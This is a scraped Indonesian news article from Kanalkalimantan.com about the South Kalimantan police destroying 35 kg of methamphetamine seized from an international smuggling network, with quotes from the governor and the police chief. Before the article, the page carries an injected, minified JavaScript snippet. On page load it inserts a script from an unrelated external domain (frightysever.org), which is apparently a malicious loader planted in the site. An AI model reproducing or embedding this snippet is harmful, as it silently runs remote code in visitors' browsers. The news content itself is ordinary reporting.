(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan H Sahbirin Noor mengapresiasi langkah Kepolisian Daerah (Polda) Kalsel menggagalkan peredaran narkoba di Banua.
“Narkoba musuh yang nyata bagi masyarakat Banua dan seluruh dunia karena ini sangat besar dampaknya bagi masyarakat apabila terus beredar,” ucap Gubernur Kalsel saat konferensi pers pengungkapan dan pemusnahan tindak pidana narkotika dengan barang bukti 35 Kg sabu jaringan internasional di Markas Polda Kalsel, Rabu (14/6/2023).
Paman Birin –biasa disapa- mengimbau, kepada seluruh pihak agar bisa bekerja sama, baik masyarakat, kepolisian, pemerintah, dalam memberantas peredaran narkoba.
“Bayangkan, sekitar 30 ribu jiwa bisa terselamatkan dari pengungkapan ini. Maka dari itu, apabila kita tidak bekerja sama, bahu membahu dalam menyelesaikan permasalahan ini, maka permasalahan Narkoba di Banua tidak akan pernah habis. Sehingga diperlukan sinergi yang baik antar semua pihak memberantas dan memerangi narkoba,” jelas Paman Birin.
Baca juga: Menuju Kalimantan Selatan Bebas DBD, Mungkinkan?
Sementara itu, Kapolda Kalsel Irjen Pol Andi Rian R Djajadi mengatakan, barang bukti yang dimusnahkan kali ini merupakan hasil pengungkapan kasus Narkoba jaringan lintas negara dari hasil penyelidikan selama tiga bulan.
“Ada 74 paket sabu dengan berat 35,18 kg, yang dimusnahkan dan berhasil menyelamatkan sebanyak 350 ribu jiwa dari bahaya narkoba,” kata Irjen Pol Andi.
Dijelaskan Irjen Pol Andi, modus yang digunakan dalam peredaran jaringan ini hampir sama dengan yang sebelumnya, hanya saja dengan rute baru.
“Jadi sebelumnya itu masuk dari perbatasan Malaysia, namun kali ini pelaku menggunakan jalur dari Sumatera, kemudian masuk ke Jawa dan ke Kalsel,” imbuhnya.
Baca juga: Lapak Penjual Kambing di Martapura Masih Sepi, Harga Naik Dekati Iduladha
Pengungkapan narkoba kali ini petugas mengamankan dua tersangka jaringan mafia internasional, yaitu MRS warga Jalan Kelayan Dalam, Gang Setia Budi, Kelurahan Kelayan Dalam, Kecamatan Banjarmasin Selatan dan MZ warga Bojonegoro, Jawa Timur yang berdomisili di Jalan Melati Indah Simpang Limau Jalur II Kelurahan Sungai Lulut, Kecamatan Banjarmasin Timur.
“Keduanya telah diamankan di Kota Banjarmasin dan saat ini tim masih berusaha melakukan pengungkapan yang di Jawa Timur. Mudah-mudahan secepatnya bisa terungkap lagi,” tuturnya. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.